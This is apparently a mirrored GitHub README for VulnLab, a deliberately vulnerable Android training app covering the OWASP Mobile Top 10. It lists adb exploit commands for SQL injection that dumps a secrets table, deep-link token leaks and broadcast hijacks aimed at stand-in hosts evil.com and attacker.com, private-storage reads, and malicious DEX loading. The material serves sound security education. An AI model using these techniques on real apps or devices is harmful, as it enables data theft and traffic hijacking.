anpa1200/Vulnerable-APK

GitHub: anpa1200/Vulnerable-APK

一款覆盖 OWASP Mobile Top 10 全部类别的脆弱 Android 应用,为安全研究人员提供移动端漏洞实践与分析的靶场环境。

Stars: 0 | Forks: 0

# VulnLab APK — 专为安全研究设计的脆弱 Android 应用 ![VulnLab 主界面](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/b6ed6af811204653.png) ## 什么是 VulnLab? VulnLab 是一个专门构建的脆弱 Android 应用程序,涵盖了 [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) 中的所有主要漏洞类别以及 Android 特有的攻击面。它旨在为安全研究人员、漏洞赏金猎人和学生提供一个实践目标,以便练习静态分析、动态插桩和漏洞利用开发 —— 而无需真实的测试目标。 每个漏洞都在源代码中进行了记录,包含攻击向量、测试命令和预期输出。 ## 项目成熟度证据 | 方面 | 证据 | |---|---| | 构建和安装 | [快速开始](#quick-start), [`build.sh`](build.sh), [`requirements-dev.txt`](requirements-dev.txt) | | 实验室覆盖范围 | [漏洞覆盖范围](#vulnerability-coverage), [`docs/VULNERABILITIES.md`](docs/VULNERABILITIES.md) | | 安全性 | [负责任的使用](#responsible-use), [安全模型](docs/safety-model.md), [安全策略](SECURITY.md) | | 验证 | [验证计划](docs/validation-plan.md), [`tests/`](tests/) 中的轻量级测试 | | 维护 | [维护者](MAINTAINERS.md), [路线图](ROADMAP.md), [更新日志](CHANGELOG.md), [贡献指南](CONTRIBUTING.md) | | 重新提交状态 | [精选列表重新提交计划](docs/curated-list-resubmission-plan.md) | 精选列表的重新提交应等待打标签的发布、APK 哈希值、可见的检查历史记录以及外部使用反馈。该仓库现在记录了质量标准,但采用证据仍需要时间。 ## 漏洞覆盖范围 | # | 类别 | 组件 | CVSS | |---|---|---|---| | 11.1 | 组件暴露与不安全的 IPC | `AdminActivity` | 9.1 | | 11.2 | Intent 重定向 | `IntentRedirectReceiver` | 8.3 | | 11.2 | PendingIntent 滥用 | `PendingIntentActivity` | 7.5 | | 11.3 | ContentProvider SQL 注入 | `VulnContentProvider` | 9.8 | | 11.3 | ContentProvider 路径遍历 | `FileVulnProvider` | 8.6 | | 11.4 | Deep Link 参数注入 | `DeepLinkActivity` | 8.1 | | 11.4 | OAuth Token 劫持 | `DeepLinkActivity` | 8.1 | | 11.5 | Broadcast Receiver 劫持 | `ConfigReceiver` | 7.4 | | 11.6 | 不安全的数据存储 | `StorageActivity` | 7.5 | | 11.7 | 密码学失效 | `CryptoActivity` | 7.5 | | 11.8 | 不安全的 WebView + JS Bridge | `WebViewActivity` | 9.3 | | 11.9 | 动态代码加载 | `DynamicCodeActivity` | 8.8 | **Manifest 级别的标志:** `debuggable=true` · `allowBackup=true` · `usesCleartextTraffic=true` · 无证书锁定 ## 快速开始 ### 前置条件 - 包含 `build-tools;34.0.0` 和 `platforms;android-34` 的 Android SDK - Java 8+ - `adb` 在 PATH 中 ### 从源代码构建 ``` git clone https://github.com/anpa1200/Vulnerable-APK.git cd Vulnerable-APK bash build.sh adb install VulnLab.apk ``` ### 使用预构建的 APK 从 [Releases](../../releases) 下载 `VulnLab.apk` 并直接安装: ``` adb install VulnLab.apk ``` 包名:`com.vulnlab.insecureapp` ## 实验室设置 推荐的实验室:Android 13 (API 33) 模拟器,`Google APIs x86_64` 镜像。 ``` # 创建 AVD sdkmanager "system-images;android-33;google_apis;x86_64" avdmanager create avd -n vulnlab -k "system-images;android-33;google_apis;x86_64" # 启动 headless emulator -avd vulnlab -no-window -no-audio -gpu swiftshader_indirect & # 等待启动 adb wait-for-device && until adb shell getprop sys.boot_completed | grep -q 1; do sleep 2; done # 安装 adb install VulnLab.apk ``` ## 漏洞利用参考 ### 11.1 — 未经授权的管理员访问 ``` adb shell am start -n com.vulnlab.insecureapp/.AdminActivity \ --ez isAdmin true --es action deleteAll ``` ![AdminActivity](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/30af50d670204659.png) ### 11.3 — ContentProvider SQL 注入 ``` # 导出所有用户(无 auth) adb shell content query \ --uri content://com.vulnlab.insecureapp.provider/users # 基于 UNION 的注入 — 窃取 secrets 表 adb shell content query \ --uri content://com.vulnlab.insecureapp.provider/users \ --where "1=1 UNION SELECT key,value,null,null,null FROM secrets--" ``` ![SQL 注入](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/52218100bc204705.png) ### 11.4 — Deep Link Token 泄露 ``` adb shell am start -a android.intent.action.VIEW \ -d "vulnlab://app/reset?token=SECRET_TOKEN&redirect=http://evil.com" ``` ![Deep Link](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/3da337826f204711.png) ### 11.5 — 配置广播劫持 ``` # 将所有 API 流量重定向到攻击者控制的服务器 adb shell am broadcast \ -n com.vulnlab.insecureapp/.ConfigReceiver \ --es server_url "http://attacker.com" \ --ez force_update true ``` ![配置劫持](https://raw.githubusercontent.com/anpa1200/Vulnerable-APK/main/screenshots/screen_10_config.png) ### 11.6 — 不安全的存储(无需 root) ``` # 通过 debuggable flag 读取私有 SharedPreferences adb shell run-as com.vulnlab.insecureapp \ cat /data/data/com.vulnlab.insecureapp/shared_prefs/vulnlab_prefs.xml # 导出完整 SQLite 数据库 adb shell run-as com.vulnlab.insecureapp \ sqlite3 /data/data/com.vulnlab.insecureapp/databases/vulnlab.db .dump # 读取全局可访问的外部存储 JSON adb shell cat /sdcard/Android/data/com.vulnlab.insecureapp/files/session.json ``` ![存储](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/c50461810e204748.png) ### 11.7 — 密码学失效 ``` adb shell am start -n com.vulnlab.insecureapp/.CryptoActivity adb logcat | grep VulnLab:Crypto # 显示:硬编码 AES key、ECB ciphertext、静态 IV、MD5 hash、弱 RNG token ``` ![密码学](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/d2fe09da2f204754.png) ### 11.8 — WebView JS Bridge RCE 编写并加载一个调用所有三个 JS Bridge 方法的恶意 HTML 页面: ``` cat > /tmp/poc.html << 'EOF' EOF adb push /tmp/poc.html /data/local/tmp/poc.html adb shell run-as com.vulnlab.insecureapp \ cp /data/local/tmp/poc.html /data/data/com.vulnlab.insecureapp/files/poc.html adb shell am start -n com.vulnlab.insecureapp/.WebViewActivity \ --es url "file:///data/data/com.vulnlab.insecureapp/files/poc.html" ``` ![WebView Bridge](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/2c3fd065e5204801.png) ### 11.9 — 动态代码注入 ``` # 构建实现 com.vulnlab.plugin.UpdatePlugin 的恶意 DEX # 然后将其放置在 watched path adb shell mkdir -p /sdcard/vulnlab_plugins adb push malicious.dex /sdcard/vulnlab_plugins/update.dex adb shell am start -n com.vulnlab.insecureapp/.DynamicCodeActivity ``` ![动态代码](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/fde085c6f4204806.png) ## 静态分析 ``` # 使用 jadx 反编译 jadx -d jadx_out VulnLab.apk # 运行 APK Hunter(AI 驱动的 5 阶段 pipeline) python3 /path/to/apk-hunter/cli.py analyze VulnLab.apk # MobSF docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf # 在 http://localhost:8000 上传 VulnLab.apk ``` ## 项目结构 ``` vulnlab-apk/ ├── AndroidManifest.xml # All dangerous flags enabled ├── build.sh # Build without Gradle (SDK tools only) ├── VulnLab.apk # Pre-built signed APK ├── src/com/vulnlab/insecureapp/ │ ├── MainActivity.java # Navigation hub │ ├── AdminActivity.java # 11.1 Component Exposure │ ├── IntentRedirectReceiver.java # 11.2 Intent Redirect │ ├── PendingIntentActivity.java # 11.2 PendingIntent Misuse │ ├── VulnContentProvider.java # 11.3 SQL Injection │ ├── FileVulnProvider.java # 11.3 Path Traversal │ ├── DeepLinkActivity.java # 11.4 Deep Link Attacks │ ├── ConfigReceiver.java # 11.5 Broadcast Hijack │ ├── StorageActivity.java # 11.6 Insecure Storage │ ├── CryptoActivity.java # 11.7 Crypto Failures │ ├── WebViewActivity.java # 11.8 Insecure WebView │ └── DynamicCodeActivity.java # 11.9 Dynamic Code Loading ├── res/ │ ├── values/strings.xml # Hardcoded secrets in resources │ └── xml/network_security_config.xml # Permissive NSC ├── screenshots/ # Real AVM exploit screenshots └── docs/ ├── VULNERABILITIES.md # Full vulnerability details └── article.md # Medium.com article ``` ## 与其他实验室应用的比较 | 应用 | DIVA | InsecureBankv2 | MSTG | **VulnLab** | |---|---|---|---|---| | 无 Gradle 构建 | ✗ | ✗ | ✗ | **✓** | | 覆盖所有 OWASP M-Top10 | 部分 | 部分 | ✓ | **✓** | | JS Bridge RCE 演示 | ✗ | ✗ | 部分 | **✓** | | 真实的漏洞利用命令 | ✗ | ✓ | 部分 | **✓** | | 源代码注释 | 最少 | 部分 | ✓ | **✓** | | 兼容 Android 13 | ✗ | ✗ | ✓ | **✓** | ## 负责任的使用 此应用程序严格用于: - 授权的渗透测试教育 - 漏洞赏金猎人培训 - CTF 竞赛 - 防御性安全研究和工具验证 **切勿安装在生产环境或包含真实账号的设备上。** ## 许可证 MIT — 见 [LICENSE](LICENSE) ## 1200km 生态系统 本项目是 1200km 安全研究生态系统的一部分。使用 [AdversaryGraph](https://1200km.com/adversarygraph/) 进行 CTI 到检测的工作流、ATT&CK/ATLAS 映射、攻击者关联性、IOC 富集以及适合分析师的报告。 - [AdversaryGraph 项目中心](https://1200km.com/adversarygraph/) - [AdversaryGraph 文档](https://1200km.com/adversarygraph-docs/) - [实时 ATT&CK/ATLAS 工作区](https://1200km.com/threat-matrix/) - [1200km 安全研究生态系统](https://1200km.com/)
标签:Android, DSL, JS文件枚举, 域名枚举, 安全, 漏洞靶场, 目录枚举, 移动安全, 超时处理, 逆向分析, 防御检测